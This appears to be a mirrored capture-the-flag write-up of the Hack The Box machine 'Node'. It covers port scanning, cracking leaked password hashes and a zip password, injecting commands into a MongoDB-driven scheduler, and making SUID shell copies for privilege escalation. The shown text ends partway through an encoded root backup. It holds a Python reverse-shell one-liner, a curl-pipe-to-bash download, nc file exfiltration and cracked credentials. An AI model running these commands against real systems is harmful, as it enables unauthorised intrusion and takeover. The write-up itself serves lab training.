mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 04:16:59 +00:00
925 lines
43 KiB
Markdown
925 lines
43 KiB
Markdown
---
|
||
search:
|
||
exclude: true
|
||
---
|
||
# Node Writeup
|
||
|
||

|
||
|
||
## Introduction :
|
||
|
||
Node is a medium linux box released back in October 2017.
|
||
|
||
## **Part 1 : Initial Enumeration**
|
||
|
||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~]
|
||
→ nmap -F 10.10.10.58 -Pn
|
||
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:32 GMT
|
||
Nmap scan report for 10.10.10.58
|
||
Host is up (0.11s latency).
|
||
Not shown: 98 filtered ports
|
||
PORT STATE SERVICE
|
||
22/tcp open ssh
|
||
3000/tcp open ppp
|
||
|
||
Nmap done: 1 IP address (1 host up) scanned in 5.26 seconds
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~]
|
||
→ nmap 10.10.10.58 -sCV -p22,3000 -Pn
|
||
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:33 GMT
|
||
Nmap scan report for 10.10.10.58
|
||
Host is up (0.10s latency).
|
||
|
||
PORT STATE SERVICE VERSION
|
||
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
|
||
| ssh-hostkey:
|
||
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|
||
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|
||
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
|
||
3000/tcp open hadoop-datanode Apache Hadoop
|
||
| hadoop-datanode-info:
|
||
|_ Logs: /login
|
||
| hadoop-tasktracker-info:
|
||
|_ Logs: /login
|
||
|_http-title: MyPlace
|
||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds
|
||
|
||
|
||
|
||
## **Part 2 : Getting User Access**
|
||
|
||
Our nmap port picked up a http service running on port 80, so let's try to investigate it with dirsearch/gobuster :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~]
|
||
→ dirsearch -u http://10.10.10.51:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -e php,txt,html -x 200
|
||
git clone https://github.com/maurosoria/dirsearch.git
|
||
dirsearch -u -e -t 50 -x 500
|
||
|
||
_|. _ _ _ _ _ _|_ v0.3.9
|
||
(_||| _) (/_(_|| (_| )
|
||
|
||
Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 87646
|
||
|
||
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-03_20-40-22.log
|
||
|
||
Target: http://10.10.10.51:3000/
|
||
|
||
CONNECTION TIMEOUT: There was a problem in the request to:
|
||
|
||
Task Completed
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~]
|
||
→ gobuster dir --url http://10.10.10.58:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
|
||
===============================================================
|
||
Gobuster v3.0.1
|
||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
|
||
===============================================================
|
||
[+] Url: http://10.10.10.58:3000/
|
||
[+] Threads: 50
|
||
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
|
||
[+] Status codes: 200,204,301,302,307,401,403
|
||
[+] User Agent: gobuster/3.0.1
|
||
[+] Timeout: 10s
|
||
===============================================================
|
||
2020/03/03 20:41:03 Starting gobuster
|
||
===============================================================
|
||
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/faa34154-d721-4655-ac39-9224e8387b5c => 200. To force processing of Wildcard responses, specify the '--wildcard' switch
|
||
|
||
|
||
Right away we can see that this box may not be as easy as we think, because bruteforcing files on the website on port 3000 returns the same response (status 200) which basically means that we have nonexistant pages.
|
||
|
||

|
||
|
||
SQL Injection doesn't seem to work here, but nonetheless pressing F12 > Debugger > we see that an angular JS script named profile.js is being used in assets/js/app/controllers/
|
||
|
||

|
||
|
||
Being hinted towards /api/users/ we investigate :
|
||
|
||

|
||
|
||
And we get a few usernames along with their hashes which can be easily identified with hash-identifier :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~]
|
||
→ hash-identifier
|
||
#########################################################################
|
||
# __ __ __ ______ _____ #
|
||
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
|
||
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
|
||
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
|
||
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
|
||
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
|
||
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
|
||
# By Zion3R #
|
||
# www.Blackploit.com #
|
||
# Root@Blackploit.com #
|
||
#########################################################################
|
||
--------------------------------------------------
|
||
HASH: dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
|
||
|
||
Possible Hashs:
|
||
[+] SHA-256
|
||
[+] Haval-256
|
||
|
||
Least Possible Hashs:
|
||
[+] GOST R 34.11-94
|
||
[+] RipeMD-256
|
||
[+] SNEFRU-256
|
||
[+] SHA-256(HMAC)
|
||
[+] Haval-256(HMAC)
|
||
[+] RipeMD-256(HMAC)
|
||
[+] SNEFRU-256(HMAC)
|
||
[+] SHA-256(md5($pass))
|
||
[+] SHA-256(sha1($pass))
|
||
--------------------------------------------------
|
||
|
||
|
||
So let's use hashcat to crack them with rockyou.txt, with the correct SHA-256 algorithm :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~]
|
||
→ hashcat -m 1400 -a 0 hashes /usr/share/wordlists/rockyou.txt
|
||
hashcat (v3.5.0) starting...
|
||
|
||
Dictionary cache hit:
|
||
* Filename..: rockyou.txt
|
||
* Passwords.: 14343296
|
||
* Bytes.....: 139921497
|
||
* Keyspace..: 14343296
|
||
|
||
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob
|
||
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake
|
||
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
|
||
|
||
|
||
And we get a list of credentals for us to use :
|
||
|
||
|
||
myP14ceAdm1nAcc0uNT manchester
|
||
tom spongebob
|
||
mark snowflake
|
||
|
||
|
||
So we login as the admin account, and download the myplace.backup file for us to inspect it further :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~]
|
||
→ cd _HTB
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB]
|
||
→ mkdir Node
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB]
|
||
→ cd Node
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cp /home/nihilist/Downloads/myplace.backup .
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ file myplace.backup
|
||
myplace.backup: ASCII text, with very long lines, with no line terminators
|
||
|
||
|
||
so we have some ascii text, but upon opening it we see that it may look like base64 so let's decode it :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cat myplace.backup | base64 -d > myplace
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ file myplace
|
||
myplace: Zip archive data, at least v1.0 to extract
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ unzip myplace
|
||
Archive: myplace
|
||
creating: var/www/myplace/
|
||
[myplace] var/www/myplace/package-lock.json password:
|
||
password incorrect--reenter:
|
||
password incorrect--reenter:
|
||
skipping: var/www/myplace/package-lock.json incorrect password
|
||
creating: var/www/myplace/node_modules/
|
||
creating: var/www/myplace/node_modules/serve-static/
|
||
[myplace] var/www/myplace/node_modules/serve-static/README.md password:
|
||
password incorrect--reenter:
|
||
|
||
|
||
And we get a zip archive ! although when we try to unzip it we need to give it a password , and our previous three passwords aren't working here. so let's use fcrackzip and rockyou.txt to try and guess the password :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup
|
||
|
||
PASSWORD FOUND!!!!: pw == magicword
|
||
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ unzip myplace
|
||
Archive: myplace
|
||
[myplace] var/www/myplace/package-lock.json password:
|
||
|
||
|
||
So we unzip it and we have a bunch of files to work with, most notably /var/www/myplace/app.js :
|
||
|
||

|
||
|
||
Which reveals mark's password : 5AYRft73VtFpc84k so let's ssh as mark :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ ssh mark@10.10.10.58
|
||
The authenticity of host '10.10.10.58 (10.10.10.58)' can't be established.
|
||
ECDSA key fingerprint is SHA256:I0Y7EMtrkyc9Z/92jdhXQen2Y8Lar/oqcDNLHn28Hbs.
|
||
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
|
||
Warning: Permanently added '10.10.10.58' (ECDSA) to the list of known hosts.
|
||
mark@10.10.10.58's password:
|
||
|
||
The programs included with the Ubuntu system are free software;
|
||
the exact distribution terms for each program are described in the
|
||
individual files in /usr/share/doc/*/copyright.
|
||
|
||
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
|
||
applicable law.
|
||
.-.
|
||
.-'``(|||)
|
||
,`\ \ `-`. 88 88
|
||
/ \ '``-. ` 88 88
|
||
.-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88
|
||
(:::) : ___ 88 88 88 88 88 88 88 88 88 88 88
|
||
`-` ` , : 88 88 88 88 88 88 88 88 88 88 88
|
||
\ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88
|
||
`./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888'
|
||
`-..-( )
|
||
`-`
|
||
The programs included with the Ubuntu system are free software;
|
||
the exact distribution terms for each program are described in the
|
||
individual files in /usr/share/doc/*/copyright.
|
||
|
||
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
|
||
applicable law.
|
||
|
||
Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
|
||
|
||
mark@node:~$ id
|
||
uid=1001(mark) gid=1001(mark) groups=1001(mark)
|
||
|
||
mark@node:~$ cat /home
|
||
cat: /home: Is a directory
|
||
|
||
mark@node:~$ ls /home
|
||
frank mark tom
|
||
|
||
mark@node:~$ cat /home/mark/user.txt
|
||
cat: /home/mark/user.txt: No such file or directory
|
||
mark@node:~$ cat /home/frank/user.txt
|
||
cat: /home/frank/user.txt: No such file or directory
|
||
mark@node:~$ cat /home/tom/user.txt
|
||
cat: /home/tom/user.txt: Permission denied
|
||
|
||
|
||
|
||
As you can see here, we are logged in as mark and we have 3 users to work with : frank, mark and tom. although we need to gain tom's privileges to be able to print the flag. so let's list tom's running processes :
|
||
|
||
|
||
mark@node:~$ ps -ef | grep tom
|
||
tom 1211 1 0 Mar03 ? 00:00:12 /usr/bin/node /var/www/myplace/app.js
|
||
tom 1221 1 0 Mar03 ? 00:00:07 /usr/bin/node /var/scheduler/app.js
|
||
mark 1600 1579 0 06:01 pts/0 00:00:00 grep --color=auto tom
|
||
|
||
|
||
So let's investigate /var/scheduler/app.js :
|
||
|
||
|
||
mark@node:~$ cd /var/scheduler
|
||
mark@node:/var/scheduler$ cat app.js
|
||
const exec = require('child_process').exec;
|
||
const MongoClient = require('mongodb').MongoClient;
|
||
const ObjectID = require('mongodb').ObjectID;
|
||
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource;=scheduler';
|
||
|
||
MongoClient.connect(url, function(error, db) {
|
||
if (error || !db) {
|
||
console.log('[!] Failed to connect to mongodb');
|
||
return;
|
||
}
|
||
|
||
setInterval(function () {
|
||
db.collection('tasks').find().toArray(function (error, docs) {
|
||
if (!error && docs) {
|
||
docs.forEach(function (doc) {
|
||
if (doc) {
|
||
console.log('Executing task ' + doc._id + '...');
|
||
exec(doc.cmd);
|
||
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
|
||
}
|
||
});
|
||
}
|
||
else if (error) {
|
||
console.log('Something went wrong: ' + error);
|
||
}
|
||
});
|
||
}, 30000);
|
||
|
||
});
|
||
|
||
|
||
And here we see the connection to the scheduler database, but what's ineresting is the setInterval function which will basically execute anything under the cmd value before deleting the doc from the collection. So let's log into the scheduler database as the user mark :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ nano nihilist.sh
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cat nihilist.sh
|
||
#!/bin/bash python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ python -m SimpleHTTPServer 8080
|
||
Serving HTTP on 0.0.0.0 port 8080 ...
|
||
|
||
|
||
|
||
|
||
mark@node:/tmp$ wget 10.10.14.11:8080/nihilist.sh && chmod +x nihilist.sh
|
||
--2020-03-04 06:13:22-- http://10.10.14.11:8080/nihilist.sh
|
||
Connecting to 10.10.14.11:8080... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 240 [text/x-sh]
|
||
Saving to: ‘nihilist.sh’
|
||
|
||
nihilist.sh 100%[===============================================>] 240 --.-KB/s in 0s
|
||
|
||
2020-03-04 06:13:23 (18.6 MB/s) - ‘nihilist.sh’ saved [240/240]
|
||
|
||
|
||
|
||
|
||
mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
|
||
MongoDB shell version: 3.2.16
|
||
connecting to: localhost:27017/scheduler
|
||
> db.tasks.insert({"_id" : ObjectId("50e28180497eade7db1b7a5b"), "cmd" : "/tmp/nihilist.sh"})
|
||
WriteResult({ "nInserted" : 1 })
|
||
> db.tasks.find()
|
||
|
||
|
||
|
||
And here we basically copy the /bin/dash binary into the /tmp folder in order to have an executable shell owned by the user tom.
|
||
|
||
|
||
mark@node:~$ mongo -p -u mark scheduler
|
||
MongoDB shell version: 3.2.16
|
||
Enter password:
|
||
connecting to: scheduler
|
||
> db.tasks.insert( { "cmd" : "cp /bin/dash /tmp/nihilist; chmod 6755 /bin/dash;" })
|
||
WriteResult({ "nInserted" : 1 })
|
||
> db.tasks.find()
|
||
{ "_id" : ObjectId("5e5fb1764ae843faaa36fbcc"), "cmd" : "cp /bin/dash /tmp/nihilist; chmod 6755 /bin/dash;" }
|
||
> db.tasks.find()
|
||
> exit
|
||
bye
|
||
mark@node:~$ ls -lash /tmp/nihilist
|
||
152K -rwxr-xr-x 1 tom tom 151K Mar 4 13:48 /tmp/nihilist
|
||
mark@node:~$
|
||
mark@node:~$ ls -lash /tmp/nihilist
|
||
152K -rwxr-xr-x 1 tom tom 151K Mar 4 13:48 /tmp/nihilist
|
||
mark@node:~$ /tmp/nihilist -p
|
||
$ id
|
||
uid=1001(mark) gid=1001(mark) groups=1001(mark)
|
||
$ exit
|
||
mark@node:~$ mongo -p -u mark scheduler
|
||
MongoDB shell version: 3.2.16
|
||
Enter password:
|
||
connecting to: scheduler
|
||
> db.tasks.insert( { "cmd" : "chmod u+s /tmp/nihilist" } )
|
||
WriteResult({ "nInserted" : 1 })
|
||
> db.tasks.find()
|
||
{ "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
|
||
> db.tasks.find()
|
||
{ "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
|
||
> db.tasks.find()
|
||
{ "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
|
||
> db.tasks.find()
|
||
{ "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
|
||
> db.tasks.find()
|
||
> exit
|
||
bye
|
||
mark@node:~$ /tmp/nihilist -p
|
||
$ id
|
||
uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark)
|
||
$ whoami
|
||
tom
|
||
|
||
|
||
|
||
and here we can see that we have the binary named nihilist, owned by the user tom, therefore running it with the -p flag allows us to have tom's permissions. so let's print the user flag :
|
||
|
||
|
||
mark@node:~$ /tmp/nihilist -p
|
||
$ id
|
||
uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark)
|
||
$ cat /home/tom/user.txt
|
||
cat: /home/tom/user.txt: Permission denied
|
||
$ whoami
|
||
tom
|
||
|
||
$ cd /home/tom
|
||
$ mkdir .ssh
|
||
mkdir: cannot create directory ‘.ssh’: Permission denied
|
||
|
||
$ cd ..
|
||
$ ls -lash
|
||
total 20K
|
||
4.0K drwxr-xr-x 5 root root 4.0K Aug 31 2017 .
|
||
4.0K drwxr-xr-x 25 root root 4.0K Sep 2 2017 ..
|
||
4.0K drwxr-xr-x 2 root root 4.0K Aug 31 2017 frank
|
||
4.0K drwxr-xr-x 3 root root 4.0K Sep 3 2017 mark
|
||
4.0K drwxr-xr-x 6 root root 4.0K Sep 3 2017 tom
|
||
|
||
|
||
|
||
Now when we try to somehow edit something in any of the 3 user's directories we cannot , that's because they are owned by root, so let's move onto the root privesc :
|
||
|
||
## **Part 3 : Getting Root Access**
|
||
|
||
In order to privesc to the root user, we need to first enumerate the box using LinEnum.sh
|
||
|
||
_Terminal 1:_
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ locate LinEnum.sh
|
||
/home/nihilist/_HTB/Cronos/LinEnum.sh
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cp /home/nihilist/_HTB/Cronos/LinEnum.sh .
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ python -m SimpleHTTPServer 8081
|
||
Serving HTTP on 0.0.0.0 port 8081 ...
|
||
|
||
|
||
` _Terminal 2:_
|
||
|
||
|
||
$ which curl
|
||
/usr/bin/curl
|
||
$ curl http://10.10.14.11:8081/LinEnum.sh | bash
|
||
|
||
|
||
Not going to paste all the output of LinEnum.sh but we'll get to the interesting part:
|
||
|
||
|
||
$ find / -perm -4000 2>/dev/null
|
||
/usr/lib/eject/dmcrypt-get-device
|
||
/usr/lib/snapd/snap-confine
|
||
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
|
||
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
|
||
/usr/lib/openssh/ssh-keysign
|
||
/usr/lib/policykit-1/polkit-agent-helper-1
|
||
/usr/local/bin/backup
|
||
/usr/bin/chfn
|
||
/usr/bin/at
|
||
/usr/bin/gpasswd
|
||
/usr/bin/newgidmap
|
||
/usr/bin/chsh
|
||
/usr/bin/sudo
|
||
/usr/bin/pkexec
|
||
/usr/bin/newgrp
|
||
/usr/bin/passwd
|
||
/usr/bin/newuidmap
|
||
/tmp/nihilist
|
||
/bin/ping
|
||
/bin/umount
|
||
/bin/fusermount
|
||
/bin/ping6
|
||
/bin/ntfs-3g
|
||
/bin/su
|
||
/bin/mount
|
||
|
||
$ cd /var
|
||
$ ls
|
||
backups cache crash lib local lock log mail opt run scheduler snap spool tmp www
|
||
$ cd www/myplace
|
||
$ ls
|
||
app.html app.js node_modules package.json package-lock.json static
|
||
$ grep -Ri backup .
|
||
./app.js:const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
|
||
./app.js: app.get('/api/admin/backup', function (req, res) {
|
||
./app.js: var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
|
||
./app.js: var backup = '';
|
||
./app.js: res.header("Content-Disposition", "attachment; filename=myplace.backup");
|
||
./app.js: res.send(backup);
|
||
./app.js: backup += chunk;
|
||
./static/vendor/jquery/jquery.js: contextBackup = outermostContext,
|
||
./static/vendor/jquery/jquery.js: dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
|
||
./static/vendor/jquery/jquery.js: outermostContext = contextBackup;
|
||
./static/assets/js/app/controllers/admin.js: $scope.backup = function () {
|
||
./static/assets/js/app/controllers/admin.js: $window.open('/api/admin/backup', '_self');
|
||
./static/partials/admin.html: Download Backup
|
||
|
||
|
||
|
||
So we do have a few binaries for us to use with the SetUID flags for us to use, most notably the /usr/local/bin/backup that once we grep -Ri we know how it works, but still we have other things to do. but we there is something else we can still do with the mongodb cmd exploit in order to change the permissions of our nihilist binary.
|
||
|
||
|
||
mark@node:~$ mongo -p -u mark scheduler
|
||
MongoDB shell version: 3.2.16
|
||
Enter password:
|
||
connecting to: scheduler
|
||
> db.tasks.insert( { "cmd" :"chown tom:admin /tmp/nihilist; chmod 6755 /tmp/nihilist;"})
|
||
WriteResult({ "nInserted" : 1 })
|
||
> db.tasks.find()
|
||
> exit
|
||
bye
|
||
mark@node:~$ ls -la /tmp/nihilist
|
||
-rwsr-sr-x 1 tom admin 154072 Mar 4 13:48 /tmp/nihilist
|
||
|
||
|
||
And here we execute the nihilist binary to be part of the admin group.
|
||
|
||
|
||
mark@node:~$ /tmp/nihilist -p
|
||
$ id
|
||
uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark)
|
||
$ cat /home/tom/user.txt
|
||
cat: /home/tom/user.txt: Permission denied
|
||
|
||
|
||
However as you can see, this is not enough and we still need to escalate more privileges. now before our find command found the /usr/local/bin/backup binary so let's copy it locally on our machine to inspect it :
|
||
|
||
_Terminal 1:_
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ nc -lvnp 8081 > backup
|
||
listening on [any] 8081 ...
|
||
|
||
|
||
` _Terminal 2_
|
||
|
||
|
||
$ nc 10.10.14.11 8081 < /usr/local/bin/backup
|
||
|
||
|
||
` _Terminal 1_
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ nc -lvnp 8081 > backup
|
||
listening on [any] 8081 ...
|
||
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.58] 36276
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ file backup
|
||
backup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ chmod +x backup
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ ./backup
|
||
|
||
|
||
once given the permissions to execute backup, we get nothing, so let's examine it using radare2 :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ r2 backup
|
||
[0x08048780]> aaa
|
||
[x] Analyze all flags starting with sym. and entry0 (aa)
|
||
[x] Analyze function calls (aac)
|
||
[x] Analyze len bytes of instructions for references (aar)
|
||
[x] Check for objc references
|
||
[x] Check for vtables
|
||
[x] Type matching analysis for all functions (aaft)
|
||
[x] Propagate noreturn information
|
||
[x] Use -AA or aaaa to perform additional experimental analysis.
|
||
[0x08048780]> afl
|
||
[0x08048780]> vvv
|
||
|
||
|
||
let's analyse the assembly (aaa) then print out the function list (afl) and then having visual representation (vvv) once we hit spacebar to have a good representating graph of what the binary does :
|
||
|
||

|
||
|
||
from here, we see that the binary's main function checks for the number of arguements equal to 3 and if it returns false, it jumps to the block on the left to exit altogether. which is probably what we're seeing.
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ ./backup 1 2 3
|
||
|
||
|
||
|
||
____________________________________________________
|
||
/ \
|
||
| _____________________________________________ |
|
||
| | | |
|
||
| | | |
|
||
| | | |
|
||
| | | |
|
||
| | | |
|
||
| | | |
|
||
| | Secure Backup v1.0 | |
|
||
| | | |
|
||
| | | |
|
||
| | | |
|
||
| | | |
|
||
| | | |
|
||
| | | |
|
||
| |_____________________________________________| |
|
||
| |
|
||
\_____________________________________________________/
|
||
\_______________________________________/
|
||
_______________________________________________
|
||
_-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
|
||
_-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
|
||
_-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
|
||
_-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
|
||
_-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
|
||
:-----------------------------------------------------------------------------:
|
||
`---._.-----------------------------------------------------------------._.---'
|
||
|
||
|
||
[!] Could not open file
|
||
|
||
|
||
|
||
So once we give it 3 arguements it finally prints out something, so let's run strace as we originally intended, but this time using 3 arguements :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ strace ./backup 1 2 3
|
||
|
||
[...]
|
||
|
||
openat(AT_FDCWD, "/etc/myplace/keys", O_RDONLY) = -1 ENOENT (No such file or directory)
|
||
write(1, " \33[33m[!]\33[37m Could not open fi"..., 36 [!] Could not open file
|
||
|
||
) = 36
|
||
write(1, "\n", 1
|
||
) = 1
|
||
exit_group(1) = ?
|
||
+++ exited with 1 +++
|
||
|
||
|
||
|
||
And here we see that it's trying to read something in /etc/myplace/keys so let's check it on our box :
|
||
|
||
|
||
$ id
|
||
uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark)
|
||
$ cd /etc/myplace
|
||
$ cat keys
|
||
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
|
||
**45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474**
|
||
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
|
||
|
||
|
||
|
||
and we get 3 hashes ! and if you look closely, here we have one of the keys we found with our previous recursive grep -Ri command. so let's copy it locally and see what the binary tries to do once we have this /etc/myplace/keys file in place.
|
||
|
||
|
||
λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node]
|
||
→ mkdir /etc/myplace
|
||
|
||
λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node]
|
||
→ nano /etc/myplace/keys
|
||
|
||
|
||
|
||
Now that it's in place, let's try to execute the backup with that one particular key we found again on the /root directory :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
|
||
[+] Finished! Encoded backup is below:
|
||
|
||
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCu